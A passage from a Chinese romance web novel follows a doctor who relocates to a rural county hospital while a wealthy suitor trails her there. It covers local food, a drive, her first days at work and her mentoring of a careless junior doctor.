江明月本以为自己只是运气不好,恰好遇上了那几个混混。没想到那几人都是专业打手,还是特意冲她来的。 好一个教她做人。 林逸接着说:“以后还是让那两个保镖全天候跟着你吧,以防万一。” 江明月推辞:“不用,我马上就不在海城了。” 林逸心头一紧:“你要去哪里?” “彤县,去那边的县级医院工作一年。”这时有个病人找到江明月这边来了,江明月跟电话里说,“抱歉,有工作要忙,先不说了。” 林逸温声道:“好,你先忙。” 第54章 偷吻 他爱她。 江明月接待完病人, 开始着手准备交接工作。 等她把附院所有工作都交接完毕后,便动身前往彤县。 从海城去那个地方并不方便。她需要先从海城飞到那里的省会城市,再转高铁去地级市, 然后乘大巴到彤县。 到彤县之后, 再和县医院的人联系,会有人来接她。 所有交通费用先自行垫付, 事后再走报销流程。 出发前一天,江明月听信崔晚晚的推荐, 喝了一杯网红奶茶。奶茶的味道很好,茶香馥郁, 就是太提神了,她一晚上都没睡着。 凌晨五点多, 她拖着一夜未眠的躯体起床赶飞机。飞机准点降落,她顺利赶上了后面的高铁。江明月本想在高铁上休息一会儿, 但车厢里刚好有几名精力旺盛的小朋友,一路吵吵嚷嚷, 有说不完的话。江明月完全没办法休息,墨镜下顶着一双青黑的眼,提着行李出站。 正值饭点。车站外面汇聚了许多流动小吃车, 吆喝叫卖的声音不绝于耳。 江明月也确实饿了,随便挑了一个摊位走了过去。 摊主用方言问她:“要吃什么?” 江明月抬头看小吃车上方的菜单。 番茄芋头糕, 5元。木薯糖水,4元。黑白凉粉,4元。芝麻糊,5元。 物价低得感人。 江明月挑没吃过的:“番茄芋头糕吧。” 她说的是字正腔圆的普通话。那摊主瞅她一眼:“来旅游啊?” 江明月笑笑:“来工作。” 摊主左手摸来一个不锈钢盘子,右手拿铲子,动作飞快地铲了一大块芋头糕, 然后往上面撒花生碎、酸豆角,还有几样江明月认不出来的调料,看着是酸辣口的。最后淋上一勺番茄汤汁。 旁边有几对简陋的塑料桌椅。江明月端着盘子,挑了个阴凉的位置坐了下来。 番茄汤汁真材实料,里面真的有碎碎的番茄。江明月拆了双一次性筷子,将汤汁里的番茄皮一条条地拣出来。 那个曾经为她演示怎么快速去番茄皮的身影,又不期然地冒了出来。 很奇怪啊。虽然她已经把他完完全全地从自己的生活里摘出去了,但所有有关于他的生活细节出现的时候,她还是会不自觉地想起他。 他做菜很照顾她的口味。她说了不爱吃植物的皮,就没在餐桌上见过任何带皮的蔬菜。 还有她不吃洋葱,不知道他是怎么发现的,选佐料和配菜的时候,都会特意避开洋葱。 他爱她。 她确信。 但两个人在一起,又不是仅凭爱意就能长久。 “明月。” 江明月正埋头检查番茄皮有没有都弄干净,忽然听见有人喊自己。 她下意识地抬眸,看见林逸的轮廓,不禁一怔,摘下墨镜仔细一看,还真是林逸。 江明月十分惊异:“你怎么在这儿?” 林逸说:“公司打算在这儿投资几个旅游项目,我先来考察一下。” 他在她对面的塑料凳上坐下。 他真的很久没见到她了。他用目光描摹她的眉眼,一遍又一遍,像是要把那些不曾相见的时光都弥补回来。 江明月正准备动筷子,敏锐地发现林逸一直在看着自己。她拿筷子指了指面前的不锈钢盘子,不太确定地问:“你也想吃?” 林逸怔然,随后从善如流地点头。 江明月便对摊主喊:“师傅!再来一份!” 成雷根据林逸发的定位找了过来,远远看见老板坐在路边廉价的蓝色塑料凳上吃东西,吃相很斯文。私人订制的休闲衬衫袖口卷起,露出银光闪闪的腕表表带。周遭人声鼎沸,油烟弥漫,他泰然自若,分毫不受环境干扰。 成雷内心惊疑不定。老板中午不是在酒店吃过了吗?怎么又在吃东西?吃的还是从来不会多看一眼的路边摊? 成雷加快脚步,转了个弯,才发现林逸对面坐的是江明月。 成雷恍然大悟。 他就说老板怎么前段时间突发奇想,要来这里的一个小县城开发旅游项目,原来是因为江小姐在这儿。 成雷走到那两人桌子旁,先跟江明月礼貌地打了个招呼:“江小姐,中午好。” 江明月点头致意:“你好。”她已经吃好了,从包里拿出湿巾擦手,笑着看成雷,“成助理挺辛苦啊,林总出差你也要到处跟着跑。” 林逸淡淡地朝成雷瞥过去。 成雷脑中警铃大作,心说江小姐求求你别当着老板的面关心我了,我们老板他真的会嫉妒的。 “江小姐,我跟林总出差都是有补贴的,林总是非常大方的老板,加班费一直给得很多。”成雷极尽溢美之词,求生欲都快溢出来了,“而且林总的决策分析能力很强,对市场的预判也很准,我跟着他学到了不少东西,林总真的是我见过的最优秀的领导。” 江明月点点头,顺手拿了一片单独包装的湿巾递给林逸。 就这一个动作,林逸的神色都柔和了下来。 他问成雷:“司机和车子联系好了吗?” 成雷道:“联系好了,车已经开过来了,就停在前面。” 林逸拿眼神指了指江明月。成雷立即会意:“江小姐,您打算去哪里?我们送您一程吧。” 江明月婉拒:“不用了,我要去的地方挺远的,我自己坐大巴车去就行,不麻烦你们了。” 成雷道:“不麻烦的,我们林总这次亲自过来,也是为了评估这里的旅游资源值不值得开发,正打算到处转了看看。江小姐您要去哪里直说,我们都顺路。” “我要去彤县人民医院。”江明月打开手机导航看了眼,“一百多公里,你们也顺路?” “顺路!我们这次过来考察的重点就是彤县!”成雷答得不假思索,并且适时地展现出一名助理的细致与全面,“江小姐,您在这边有地方住吗?我们林总可以帮您安排。” 江明月说:“谢谢,不用,医院会给我安排宿舍的。” 成雷找的车子是一辆硬派风越野。刚刚开去洗车店里外清洁了一遍,干净舒适。 江明月上了车。成雷帮她把行李箱塞到后备箱。 去县医院有一大半路是高速,一百多公里只要一个多小时。 路上,江明月望着四通八达的道路,感慨道:“这儿地方偏,交通倒挺方便的。国家这些年的基建工作做得真好。” 祖国的经济发展,发展的不只是海城这样的国际大都市,还发展了无数像彤县这样的欠发达地区。 林逸说:“对,而且风景很好,依山傍水,植被很多。气候也不错,冬无严寒,夏无酷暑。” 江明月点点头。她觉得林逸的商业嗅觉确实敏锐。这样一个地方,的确适合开发旅游业。 林逸看着她那双发青的眼:“累了就睡一会儿,到了我叫你。” 江明月侧着身子靠上椅背,开始闭目养神。 她彻夜未眠,一大早就起来赶飞机,落地之后转高铁,奔波了大半天,到现在确实有了些倦意。没过多久她就睡着了。 她睡得很香,毫不设防。林逸确认她睡熟了,伸臂揽住她,让她靠在自己的肩上睡。 动作轻柔又珍视。 成雷从后视镜里看到这一幕,心想这两人要是真的在一起该有多好。 他清晰地记得,之前很长一段时间,老板几次三番约江小姐见面,却屡屡被江小姐婉拒。当时恰好有个部门经理做投标文件的时候写错了报价,老板大发雷霆,当场通知人事开除部门经理。 总助办公室一共四个人,那几个月都过得如履薄冰,唯恐哪个环节出了什么差错,撞上了老板的枪口。 前些日子,江小姐和她那个男朋友——哦,前男友——彻底分居之后,老板每天的心情肉眼可见地变好了。即便下属犯了错,他也不怎么生气,都是轻描淡写地处理了。 当然,成雷由衷希望江明月和林逸在一起,并不仅仅是为了让自己工作顺利。 他跟了林逸很多年,大概知道林逸家中复杂的情况,他见惯了林逸独来独往的样子,这个杀伐决断甚至于冷肃的青年企业家,有时候真的很像一台冰冷的工作机器。 成雷希望林逸能过得快乐一些,能有一个人愿意爱他、陪伴他。 成雷悄悄叮嘱司机:“开慢点。” 越野车下了高速,驶过几段隧道和山路。道路两旁人烟渐多,车速明显慢了下来。 县医院在县城中心。车子从医院大门开了进去,医院里面有个大院,空旷得很,三三两两地停着几辆电瓶车。 司机就在这儿停了下来,回头望着林逸:“老板,到了。” 林逸无声地抬眸。 成雷赶紧冲司机做了个“噤声”的手势,示意司机跟自己下车。 司机不明所以,打开车门出去了。 到了车子外面,成雷把司机拉到一旁,说:“别出声,让江小姐多睡一会儿。” 这个司机是临时聘用的,比较熟悉这里的路况和地形。他没见过江明月,好奇打听:“那是你们老板娘?” 成雷道:“现在还不是。” 司机会意点头,从兜里摸出一根烟,叼在嘴里,正要点火,成雷忙制止他:“别在林总面前吸烟,林总不喜欢身上有烟味。” 司机讪讪地把烟塞回口袋。 这大老板规矩还挺多。司机腹诽。 他下意识地往车里看了一眼。透过前挡风玻璃,他发现那位大老板不知何时解开了安全带,将身边的人完全圈进了怀里,此时此刻正微微低头,细细吮吻着怀中人的耳垂。 司机连忙移开视线。 第55章 换人 “维佳木。” 江明月即将醒转的时候, 林逸松开了她,让她轻轻靠坐在旁边的座位上。 江明月朦朦胧胧地醒过来,发现已经到了。 她向林逸道谢:“我先走了, 谢谢你送我过来。” 林逸盯着她的耳垂, 喉结缓慢地滚动了一下,轻声笑道:“不用客气。” 江明月下车。成雷远远看见了, 冲过来帮她拿行李。 江明月给县医院负责对接的副院长杨青松打电话:“杨院长,我已经到了。” 杨青松道:“江医生, 你已经到车站了是吗?我马上派车去车站接你。” 江明月说:“不是,我已经到医院了。” 整个院区面积不大, 零星几栋楼,外观陈旧, 显然年代久远。江明月拖着行李箱往前走,环顾四周:“我在门诊楼门口。” 杨青松长长地“哦”了声:“江医生, 你稍等两分钟,我马上来。” 江明月笑道:“您在哪儿?我直接去找您吧, 省得您跑了。” 杨青松也笑着说:“那怎么行!你大老远从海城过来,我肯定不能怠慢你啊!” 说话间,江明月看到一个体型微胖的中年男人大步流星地朝她走了过来, 手机举在耳边,还保持着听电话的姿势。 江明月摆出笑容:“杨院长。” 杨青松挂了电话, 笑容满面:“江医生一路辛苦了,我先带你去宿舍放行李吧!” 县医院的宿舍就在医院北面的一个小区,紧靠着医院。 杨青松很健谈,向江明月介绍说:“这块地方原来都是民宅,后来全部拆迁了,盖了楼房。小区里现在还住着很多拆迁户。” 江明月边走边看。居民楼下普遍搭着晒被子的栏杆, 栏杆下摆了很多白色泡沫箱,里面填满了泥土,种着小葱和一些常见的蔬菜。生活气息非常浓郁。 小区都是六层高的楼房,没有电梯。医院提供的宿舍在顶楼。 上楼梯的时候,杨青松主动把江明月的行李箱抢过来搬。江明月不好意思让他一个副院长动手,忙道:“我来就行,我拿得动。” “你一个小姑娘,拿什么拿!歇着!”杨青松提着箱子健步如飞,“你们大医院的人愿意来我们这边交流指导,我作为医院的领导,打心眼儿里感谢你们。这里的医疗条件匮乏,院里的医生——尤其是年轻医生,水平也不太高,麻烦你多带带他们。医学技术有这样一个自上而下的流通,才能惠泽更多患者。” 话说得很客气。江明月有些动容:“您放心,我一定尽力。” 终于到了六楼。 杨青松拿出一把钥匙,转开门锁。 进门转了一圈,发现是个两室一厅的格局。江明月不由笑道:“你们这儿宿舍条件挺好啊,能有这么大的面积。” 杨青松有些尴尬:“江医生,不是一整套房子都给你住的,你只能……挑一个房间住。” 江明月一愣。 杨青松解释:“听说你们海大附院马上还有别的医生要来,要给后来的人留个屋,不然没地方住。” 他安慰道,“不过你来的早,你看你喜欢哪个房间,你先挑。” 江明月表示理解。 杨青松把房门钥匙给了她,让她先休整一两天,休息好了再去医院报道。 两室一厅,总共两个房间,一个朝南,一个朝北。 江明月选了朝南的房间。房间外面是阳台,连通到窄小的客厅。 她走到阳台上眺望。 窗外风景极好。干净澄澈的天空,蓝得很纯粹。视线的尽头,峰峦连绵,山如黛色,像是一幅水墨画。 江明月欣赏了一会儿,开始收拾行李。等忙活完,时间将近晚上六点。天色将黑未黑,天空呈现出一种水彩般的深蓝色,仔细看还能看出浅色的云朵在天幕中的轮廓。 江明月习惯性地打开外卖软件点晚餐。 距离最近的商家是二十公里以外的一家蛋糕店,只卖生日蛋糕,商家自行配送,配送时长120分钟。 江明月有些无所适从。 没想到来这儿之后遇到的第一个问题,是吃饭问题。 好在来的路上,杨院长介绍说小区东门出去就是一家市场,有很多小吃店。江明月揣上钥匙,出门觅食。 沿街有各种米粉店,应该是当地一大美食特色。江明月随便挑了一家,招牌上写着“周记猪脚粉”,她进去点了一两粉加一个猪脚。 猪脚在油锅里炸过,外脆里糯,吸满了汤汁,蹄筋软弹,完全不腻。其实这个汤底偏酸辣,而江明月口味清淡,一开始也只是抱着尝试的态度,没想到尝试之后完全不反感。虽然口味重,但是重得恰到好处,刚刚好刺激到了她的味蕾,她只觉得惊艳。 一碗粉吃得她全身毛孔打开,食欲大增。 正想再去逛逛周边,看看还有什么特色美食,林逸打电话过来,说找到一家吃特色菜的小馆子,邀请她一起去尝尝看,口味合适的话,他就和店家谈合作,打造成网红店,也为以后投资旅游项目铺路。 江明月还沉浸在猪脚粉带来的味觉盛宴中,欣然同意- 仍旧是下午那辆越野车来接她。车子穿过大半个县城,停在一处民居门口。 江明月打量着周围的房屋,均由木柱支撑,沿地势而建,屋舍悬在半空中,很像地理书上见过的吊脚楼。 “怎么上去?”她问。 成雷上前领路:“这边。” 从旁侧的石阶走上来,往屋子里走,便看见室内摆了几张桌子,坐满了食客。一个身穿民族服饰的小姑娘迎了上来,领着他们去了一张靠墙的方桌。 江明月和林逸隔桌而坐。 林逸把菜单递给江明月:“看看想吃什么。” 菜单就是一大张塑封过的纸,看着很旧,显然经历了日复一日的循环利用。 江明月发现成雷还站着,抬眸道:“成助理,你也坐啊。” 成雷不想打扰他们俩,顺势推辞道:“我已经吃过了,你们慢慢吃,我去车里等你们。” 江明月笑着劝:“没事儿,我也吃过了,再吃点也没关系。正好你们林总要和店家谈合作,你就简单尝两口,也好给你们林总提点参考意见。” 成雷望向林逸。 林逸缓慢地牵起唇角,点了下头。 成雷坐到了方桌的侧面,回想着林逸刚刚那个似笑非笑的表情,简直如坐针毡。 江明月招呼刚刚那个小姑娘过来,问她有什么推荐菜。 小姑娘想了一会儿,说:“桂圆炖蛋,里面有自己家熬的老红糖,别的地方吃不到的。” 小姑娘说完这一句就不说了,圆溜溜的眼睛直勾勾地望着江明月。 江明月扫了眼菜单——桂圆炖蛋,一份十元。 她不禁莞尔:“就推荐这么便宜的啊?你这么做生意可不行。” 小姑娘挠了两下头发,眼珠子依旧望着她,脸慢慢红了。 江明月看她实在说不出话来,也不为难她,除了桂圆炖蛋,另外挑了一道香煎禾花鱼,随后将菜单递给林逸。 林逸发现她手臂上全是红通通的蚊子包,轻轻拧起眉问:“你手臂怎么被咬成这样了?” “我招蚊子。”江明月无奈道,“这边蚊虫也多,一不留神就被咬了。” 生态好的地方难免蚊虫多。这里的蚊子也毒,一咬就是一个红色的包,她手臂白皙,所以尤为显眼。 林逸又挑了几样菜,将菜单重新推到江明月面前:“你再看看,还想吃什么。” 江明月说“我够了”,把菜单推给了成雷,顺口问道:“成助理,你是哪里人?这里口味偏辣,不知道你吃不吃得惯。” 成雷笑容僵硬。 林逸瞥了眼成雷:“怎么不说话?明月在关心你啊。” 明明是很平淡的一句话,成雷却感觉到了危险迫近的气息。他硬着头皮一五一十地回答:“江小姐,我是北方人,但是从上大学开始就一直在海城了,我没有忌口,什么都爱吃,什么都吃得惯。” 他像扔烫手山芋一般,迅速把菜单还给了服务员小姑娘。 小姑娘呆愣愣地接过菜单,一双纯净的眼睛仍旧瞟着江明月。 江明月笑问:“怎么一直盯着我看?” 小姑娘的脸更红了,半晌冒出一句话,然后扭头跑了。 江明月没听懂她说了什么,一脸懵然。 林逸帮忙翻译:“她说你好漂亮。” “啊?”江明月一个字都没听出来,“她说的是方言吗?” 林逸说:“不是,是苗语。” 江明月惊讶:“你会苗语?” 林逸谦虚道:“勉强能听懂一些。” 成雷适时地发声:“林总以前和一位苗族企业家谈过一个项目,在几次谈判过程中,那位企业家一直用苗语和下属交流,不接受林总的报价,林总为此特意学了一段时间苗语。” 成雷不怀好意地笑了笑,“后来再谈判,林总就知道对方在说什么了,压着人家的底价谈成了项目。” 江明月轻轻地“哇”了声。 成雷补充:“那时候林总还没接手林氏,集团里有很多老人不服他。林总谈下这个项目之后,那些人总算没话说了。” 江明月一直以为林逸是那种顺顺当当接手家族企业的继承人,不费吹灰之力就能得到想要的一切,没想到人家是实打实凭能力站稳脚跟的。 她笑着调侃:“难怪上学的时候老师总说,学好外语至关重要啊。” 那个苗族企业家估计做梦都想不到,林逸会去学他的民族语言。 江明月问当事人:“你那时候是怎么学的?请老师了吗?” 林逸耐心地跟她讲:“嗯,当时找了三个语言老师,因为苗语有三大方言区,不同方言区的口音有很大区别,在各自的方言区内,还有很多次方言和土语。现在有不少苗族人定居海外,美国还有国际苗语的课程,可以系统学习苗语。如果你感兴趣,我帮你联系教学老师。” 江明月听了这一长段,已经有点晕头转向了,连连摇头道:“那倒不用。”顿了顿,又好奇问道,“你能用苗语和当地人对话吗?” 林逸说:“可以说一些简单的句子。” 江明月对林逸的语言天赋肃然起敬。 说话间,之前那个苗族小姑娘端着一个托盘走过来上菜。上的正是她倾情推荐的桂圆炖蛋。 三个巴掌大的瓷碗,一人一碗。因为加了红糖,炖蛋的颜色略深,凝固的蛋液之间散落着桂圆肉。 江明月正准备吃,罗薇一通电话打了过来:“明月,到彤县了没?” “嗯,下午就到了。” “感觉怎么样?” 江明月挖了勺炖蛋入口,独属于红糖的甘蔗清香完全融进了丝滑绵密的蒸蛋,她又挖了第二勺,给出中肯的评价:“美食天堂。” 罗薇在那边哈哈大笑:“行啊你!吃饱喝足了别忘了把今天的机票和车票寄回来,我帮你走报销流程。” “谢谢薇姐。” “小事儿。你在那儿要是有什么困难及时跟我说,别怕麻烦。”没等江明月回应,罗薇紧接着说了下一句,“不过呢,小困难你自己肯定可以解决,大困难我也帮不上你。” 罗薇一边说一边狂笑。 “那你等着,我给你精挑细选一个不大不小的中等困难。” 罗薇又笑了一阵,才说:“报销的事别忘了,挂了啊,再见。” “再见。” 江明月放下手机,夹了一筷子新上的酸汤鱼,顺口问对面的人:“‘再见’,用苗语应该怎么说啊?” 林逸思量数秒,说:“维佳木。” 江明月模仿着他的声调和发音:“维——佳——木,是这样吗?” 林逸唇角弧度渐深,目不转睛地望着江明月:“嗯,维佳木。”- 一顿饭终于吃到了尾声。三人都觉得口味不错。 江明月想去结账,成雷腾地一下站起来拦住她:“江小姐,您别破费,我去结账……我顺便去跟店家谈谈合作。” 江明月客套了一下:“那怎么行。下午坐你们的顺风车过来,晚上又蹭你们的饭吃,我都觉得自己得寸进尺了。” 您进!您随便进!我们老板恐怕求之不得! 成雷提出建议:“江小姐,下周五是林总的生日,您要是实在过意不去,不如给林总准备一份生日礼物?” 成雷说完,都想为自己鼓鼓掌。他可真机智。 江明月微愣。 她是有点过意不去,但也没有那么过意不去。 她转眸看林逸。 以林逸的君子风度,应该会把话接过来,说几句下属不懂事随便说的别当真,再婉言谢绝所谓的生日礼物。 结果林逸一言不发。 旁边的成雷还在用充满希冀的眼光看着她。 江明月骑虎难下,只好硬着头皮说:“可以啊。”- 成雷去找店家结账,顺便沟通合作事宜。 五分钟后,成雷铩羽而归。 账结了,合作没谈成。店主是那个苗族小姑娘的母亲,年纪挺大,比较安于现状,没有把店做大做强的欲望,对成雷提出的互利共赢方案半点兴趣都没有。 林逸听完成雷的叙述,只是点了点头:“走吧。” 江明月诧异:“就这么放弃了?” 林逸说:“附近又不止这一家特色菜馆,这家不行,就换一家。” 江明月再一次对精英资本家有了实感。只做筛选,不去改变。看似会浪费更多时间,实则更高效。 她有些好奇:“你在感情中也会这样吗?这人不行,就换个人?” 林逸盯着她,半晌,轻轻一笑:“这我可不换。”- 三人准备离开。 刚走到门口,成雷接到一个电话。他看到来电显示之后,下意识地看了眼江明月,然后走去一旁接听,似乎在刻意回避她。 江明月完全理解。万一聊到了商业机密,被她听见确实不合适。 她不甚在意地望向另一边,刚好和那个苗族小姑娘偷窥她的视线撞了个正着。 小姑娘吓了一跳,开始东张西望,装作若无其事。 江明月好笑地走了过去,敲了敲小姑娘面前的柜台,“咚咚”两声。 “你推荐的桂圆炖蛋很好吃。” 小姑娘羞赧道:“谢谢。” “炖蛋里的老红糖卖不卖?”江明月问。 小姑娘似乎没明白她的意思,微张着嘴,一脸茫然。 江明月便说:“我刚刚上网查了,手工红糖是你们这儿的特产。我想买一些寄回家,你这里卖吗?” 小姑娘听明白了,摇了摇脑袋:“不卖,红糖都是我辛辛苦苦熬出来的,十斤甘蔗只能熬出半斤红糖,跟外面那些偷工减料的不一样。”小姑娘的眼神一下子变警惕了,“长得再好看也不卖!万一你转手卖给别的饭馆,我家还怎么做生意!” 江明月浅笑,也不在意自己能不能买到红糖,只点评道:“你想得真周全。”- 成雷结束了通话,快步走到林逸身边,压低声音说:“林总,刚刚郭教授打电话过来,说……沈家退婚了。” 林逸霍然回头。 成雷说:“郭教授说,是沈敬董事长亲自出面退的婚。” 林逸垂眸理着头绪。 能让沈老爷子亲自出面,至少说明沈老爷子是非常支持沈归时的。沈老爷子是大家长,他的态度,就能代表一个家族的态度。 沈敬——那样一个曾经叱吒商场几十年的人物,隐退了这么些年,现在怎么会为了小辈的婚事出面?还是退婚。 沈归时他是怎么做到的? 江明月发现成雷电话打完了,便不再同柜台前的小姑娘闲聊,朝林逸他们走了过去。 三人回到车上。先送江明月回宿舍。 这会儿才九点多,海城的夜生活才刚刚开始,彤县的路上却几乎没有了行人和车辆。 二十分钟后,车子开到宿舍楼下。楼道里黑漆漆的,似乎没有亮灯。 林逸推门下车:“你住几楼?” 江明月说:“六楼。” 她把手机自带的手电筒打开,照着楼道里的台阶。 楼梯间的房顶挂着灯泡,也不知道是不是感应灯,反正一个都不亮。 林逸跟在江明月的身后,非常绅士地说:“我送你。” 江明月说:“不用,就几层楼梯。” 林逸意有所指:“这儿没有保镖跟着你,我跟着吧,免得你再遇到什么危险。” 再。 江明月想到在酒吧门口遇到的那几个打手,默不作声地往上走。 她走路不慢,很快就走到了宿舍门口。 “到了。”她找钥匙开门,“谢谢你送我。时间不早了,就不请你进去做客了,你早点回去休息。” 晚餐时,林逸提过,他目前暂住在市里的某个酒店,离这儿很远。 林逸抬头看门牌号,忽然轻声问:“如果是你,你会换人吗?”他淡淡地补充,“在感情中。” 江明月气息一顿。手里拿着钥匙翻来覆去尝试,怎么都对不准房门的锁芯。 此地此刻,唯一的光源就是手机自带的手电筒。林逸在她的身后,身形完全淹没在黑暗之中,声音低沉而清晰,仿佛一柄剖人心迹的利剑。 江明月专心捣鼓面前的门锁:“诶,用密码锁用习惯了,都不会用钥匙开锁了。” 有时候,避而不答也是一种答案。 人只有在害怕触碰某件事的时候,才会选择逃避。 她千里迢迢来到彤县。 与其说她是不想再看见他,不如说她是在逃避他。 她知道自己还无法云淡风轻地面对他。但她又没有那么多的勇气再继续下去了,只好远远地躲开。等待时间和距离,将所有情愫消磨殆尽。 夜色隐匿了林逸郁色重重的脸庞。他从江明月手里拿来钥匙,帮她开了门。 锁芯顺滑。 明明非常容易打开。 第56章 不认识 “我真的好想你。” 翌日清晨。 睡梦中的江明月听见手机来电, 迷迷糊糊地醒了过来,看了眼来电提示,继续闭上眼睛接听:“成助理?找我有事吗?” “江小姐, 您在宿舍吗?林总给您买了早餐。” 江明月渐渐意识清醒, 终于想起昨晚林逸帮她打开房门之后就走了,临走前问她早上一般几点起床, 他送些当地特色早点给她尝尝。 “呃,你稍等我五分钟。” 江明月立马起床, 换了身衣服,飞快地洗漱一番, 然后打开房门。 门外,成雷一脸灿烂的笑容:“早上好, 江小姐。林总今天和文旅局的人有约,要去景点参观, 不方便过来。不过早餐都是他亲自买的,您尝尝看。” 江明月接过成雷递来的食品保温袋。 挺沉。 “谢谢, 进来坐。” 成雷连忙摆手:“不用了。江小姐,您太客气了……其实您不用对我这么客气。” 尤其是林逸在场的时候。 唯恐江明月继续邀请,成雷找了个说辞脱身:“我还要去找林总会合, 先走了。” 江明月点点头,看着成雷小跑下楼。 她进屋, 拆开食品保温袋。最上面是一盒小笼包,应该是肉馅儿,肉汁都浸到了面皮外面,闻着很香。看上去和海城常见的小笼包差不多,但蘸料很特别,辣酱里面加了酒酿, 江明月尝了尝——酸辣爽口,她还真没在别的地方吃过。 小笼包下面还有五彩斑斓的糯米饭、浓稠馥郁的芝麻糊、炸得金黄的虾仔饼……江明月真吃不下这么多,打算每样都尝尝味道,吃不完的放冰箱。 翻到保温袋的最下面,发现还有一个长条药盒,拿出来一看——是一瓶驱蚊水。 瓶身上贴着一张便签纸,上面是两行手写字。 【当地人说这个驱蚊水很管用。】 【林逸】 江明月不禁莞尔。 她一边吃早餐一边给崔晚晚发消息。 【江明月:醒了吗?崔大小姐。】 几分钟后,收到答覆。 【崔晚晚:本来没醒,被你发来的消息震醒了。】 【江明月:报意思,您继续睡。】 【崔晚晚:不睡了。找我有事儿?】 【江明月:就是想问问你,如果要给商务人士准备礼物,送什么比较合适?】 江明月没忘记自己答应了要为林逸准备生日礼物。 原本只打算在购物网站随便挑一个的,但这瓶驱蚊水让她这个他乡异客,感受到了来自同乡友人的温暖。她打算认真选个礼物。 【崔晚晚:你跟对方什么关系?】 【江明月:朋友。】 【崔晚晚:签字笔怎么样?很适合商务人士。】 【江明月:买哪个牌子?推荐一下。】 【崔晚晚:预算多少?】 送礼的关键在于匹配对方的身价。如果收礼的人看不上,就等于白送。江明月忍痛发出一句—— 【江明月:越贵越好。】 【崔晚晚:卧槽,这么好的生意你不找我做?别送签字笔了,送袖扣吧!我帮你定制一对!用最好的蓝宝石!】 【江明月:定制要多久?能在下周五之前寄给我吗?】 【崔晚晚:能!】 崔晚晚当即给江明月发来了几个宝石袖扣的成品图片,问她喜欢哪种。江明月按自己的审美挑了一个。崔晚晚回复“OK”,随后发来价格清单: 原料费:9000元 加工费:1000元 精神损失费:13333元 【崔晚晚:总共23333元,谢谢惠顾。】 江明月直接一个电话打过去质问:“崔老板,你这个精神损失费是怎么算出来的?” 崔晚晚的声音十分无辜:“就是你发消息吵醒了我,给我的精神造成了损失。小小补偿一下,不过分吧?” “……”江明月说,“我觉得签字笔挺好的,很实用。” “哈哈哈,袖扣也很实用。我跟你开玩笑的,我怎么可能收你的钱?你把地址发给我,我马上找工厂订做,给你加急!这礼拜就能做好寄给你!” 江明月也没推辞:“谢谢,等我回海城请你吃饭。”- 吃完早饭,江明月正式去县医院报道。 杨青松问她怎么不多休息两天调整一下。江明月说闲着也是闲着,不如早点上岗。 杨青松便领着她参观医院,亲自将她送到县医院急诊科——江明月未来一年的工作地点。 杨青松还给江明月安排了一名“助手”——毛小东,今年的新医生,刚来县医院上班。 此举自然是为了让毛小东跟着江明月多多学习,江明月心里明白。昨日杨青松的殷殷嘱托犹在耳畔,她每天都会拣几个典型病例,跟毛小东讲讲自己的诊疗思路。 不过江明月也能感觉到,毛小东的学习态度相当散漫。她让他空闲的时候多看最新文献,别在工作时间打游戏,毛小东嘴上答应得好好的,转头就躲进值班室偷偷横着玩手机。 县城人口少,县医院的患者数量也少。不过这几天换季,来看感冒发烧的人明显变多了。 江明月给一个咳嗽不停的病患开了药,跟毛小东道:“之前给别人开的止咳祛痰颗粒就不能给刚刚那个病人用,因为他有高血压,止咳祛痰颗粒是高血压禁用药。” 毛小东敷衍地点头。 江明月瞟了眼他那神游天外的样子,眉心紧蹙:“你知道我刚刚说什么了吗?” 毛小东绞尽脑汁地回想:“什么……禁用药?” 江明月搁下笔,肃容道:“治病救人关乎生死,病人信任你,才会把命交到你的手上,你能不能态度端正点?” 毛小东不以为然:“没事的,我们这种小医院,压根儿碰不上那种生死攸关的病人,来看病的都是小病小痛。” 江明月接着自己刚刚的话往下说:“很多中成药因为成分复杂,都有禁忌症,如果对药品不熟悉,开药之前一定要把说明书好好看一遍。这个很重要,请你务必记住。” 毛小东也继续说:“真遇到那种搞不定的病人,就让他转上级医院去。” 两人似乎在各说各的。 江明月无语。 毛小东跟着江明月学了几天,也算摸清了她的性子——脾气好,有耐心,不说重话不发飙。 他安静了一会儿,凑过来问:“对了江老师,那个天天来等你下班的人是谁啊?” 谈到和医学无关的话题,毛小东的精神气明显上来了:“他是不是挺有钱的?他手上那块表好像是牌子货,还是限量版,想买都买不到。” 江明月冷斥:“你有这闲心想那些无关紧要的人,不如多想想怎么提升自己的专业素养。” 无关紧要的人。 毛小东琢磨着这几个字,摸摸鼻子,不吱声了。 这时,一个瘦高男人推着轮椅进来了。 轮椅上坐着一个脸色苍白的年轻男人,衣着相当得体,但是双目紧闭,神情十分痛苦。 因为这人坐着轮椅,江明月下意识去看对方的腿,问道:“哪里不舒服?” 推轮椅的瘦高男人说:“医生,我家先生的头疼发作了,麻烦你给他开一支止痛针。” “头疼?” 很多因素都会导致头疼,江明月在脑中迅速过了一遍几种可能的情况,谨慎问道:“头部有没有受过外伤?还有别的症状吗?比如呕吐、视线模糊?” 轮椅上的男人痛得一句话都说不出来,只是举起胳膊,无力地摆了摆手。 他身后那个瘦高男人赶紧说:“没受过伤,也没别的症状,就是头疼,已经疼了十几年了,之前也在别的医院看过,治不好,只能靠止疼药缓解。” 他神情焦急,“从昨天开始,痛感越来越强烈,吃了止疼药也不管用,现在疼得路都走不了了。” 江明月提笔写病历。 这里还没有电子病历系统,病历全靠手写。江明月适应了几天,渐渐习惯了。 她抬眸问:“之前有没有在别的医院做过检查?” “做过的。” “检查结果带来了吗?” “没带,都在家里。”瘦高男人想了想,“有照片行吗?” 江明月点头:“给我看看。” 瘦高男人从手机相册里翻出一张照片。 一张协和医院出具的诊断书。 协和医院属于业内权威,很多地方医院遇到解决不了的疑难杂症都会建议患者——去协和看看吧。 而协和给这个人的诊断结果是CHD——慢性每日头痛。 瘦高男人又道:“医生,能不能先给我们开个止痛针?如果不是痛得受不了了,我们也不会来医院的。” 由于剧烈的疼痛,轮椅上的男人的额头上已经渗出了冷汗,唇色惨白。 江明月写好处方,交给瘦高男人:“止痛针只能缓解,不能治疗。” “知道。”瘦高男人推着轮椅出去拿药打针。 江明月默然叹气。 患者还很年轻啊,却已然经受了这么多年病痛的折磨。 拥有健康的身体、平静的生活,对一部分人来说,是稀松平常的事,对另一部分人来说,却是奢求。 毛小东说:“江老师,他这个头疼没救了吧?去协和看了都没治好。” 江明月没说话。大概过了半分钟,她起身跑出诊室。 “哎?” 毛小东跟着她出去,就见她追上刚刚那个瘦高男人,沉静道:“你把之前做过的检查单子都找给我看看。” 瘦高男人愣了愣,说:“好。”- 